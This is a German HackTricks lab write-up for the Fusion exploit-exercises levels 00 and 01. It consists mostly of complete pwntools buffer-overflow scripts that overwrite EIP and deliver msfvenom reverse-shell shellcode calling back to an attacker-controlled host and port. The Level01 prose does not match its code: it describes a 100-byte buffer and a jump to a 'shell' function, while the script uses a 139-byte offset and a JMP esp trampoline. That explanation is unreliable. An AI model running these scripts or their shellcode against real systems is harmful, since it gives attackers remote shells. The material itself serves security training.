hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/fusion.md
2024-04-06 18:30:57 +00:00

6.2 KiB

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Level00

http://exploit-exercises.lains.space/fusion/level00/

  1. Ermitteln Sie den Offset, um EIP zu ändern.
  2. Geben Sie die Adresse des Shellcodes in EIP ein.
from pwn import *

r = remote("192.168.85.181", 20000)

buf = "GET "            # Needed
buf += "A"*139          # Offset 139
buf += p32(0xbffff440)  # Stack address where the shellcode will be saved
buf += " HTTP/1.1"      # Needed
buf += "\x90"*100       # NOPs

#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"

r.recvline()
r.send(buf)
r.interactive()

Level01

Beschreibung

Level01 ist ein einfacher Exploit, der auf einer Schwachstelle in der fusion-Anwendung basiert. Diese Schwachstelle ermöglicht es uns, eine Pufferüberlauf-Attacke durchzuführen und die Kontrolle über das Programm zu übernehmen.

Exploit

Der Exploit besteht aus zwei Schritten:

  1. Erzeugen einer speziell formatierten Eingabe, die den Pufferüberlauf auslöst.
  2. Ausnutzen des Pufferüberlaufs, um die Kontrolle über das Programm zu übernehmen.

Schritt 1: Erzeugen der speziell formatierten Eingabe

Um den Pufferüberlauf auszulösen, müssen wir eine Eingabe erzeugen, die länger ist als der Puffer, in den sie geschrieben wird. In diesem Fall ist der Puffer 100 Bytes lang.

Wir können dies erreichen, indem wir eine Zeichenkette mit einer Länge von 104 Bytes erstellen. Die ersten 100 Bytes werden mit beliebigen Zeichen gefüllt, und die letzten 4 Bytes werden mit der Adresse der Funktion shell überschrieben.

Schritt 2: Ausnutzen des Pufferüberlaufs

Nachdem wir die speziell formatierte Eingabe erstellt haben, müssen wir sie an die fusion-Anwendung senden. Wenn die Anwendung versucht, die Eingabe in den Puffer zu schreiben, wird der Pufferüberlauf ausgelöst und die Kontrolle über das Programm wird an die Adresse der Funktion shell übergeben.

Dies ermöglicht es uns, beliebigen Code auszuführen und die Kontrolle über das System zu übernehmen.

Gegenmaßnahmen

Um diesen Exploit zu verhindern, sollten Entwickler sicherstellen, dass Eingaben ordnungsgemäß überprüft und auf eine sichere Länge begrenzt werden. Darüber hinaus sollten Sicherheitsmechanismen wie Adressraumlayoutzufälligkeit (ASLR) und Stack-Schutz aktiviert sein, um die Ausnutzung von Pufferüberläufen zu erschweren.

from pwn import *

r = remote("192.168.85.181", 20001)

buf = "GET "            # Needed
buf += "A"*139          # Offset 139
buf += p32(0x08049f4f)  # Adress of: JMP esp
buf += p32(0x9090E6FF)  # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1"      # Needed
buf += "\x90"*100       # NOPs

#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"

r.send(buf)
r.interactive()
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: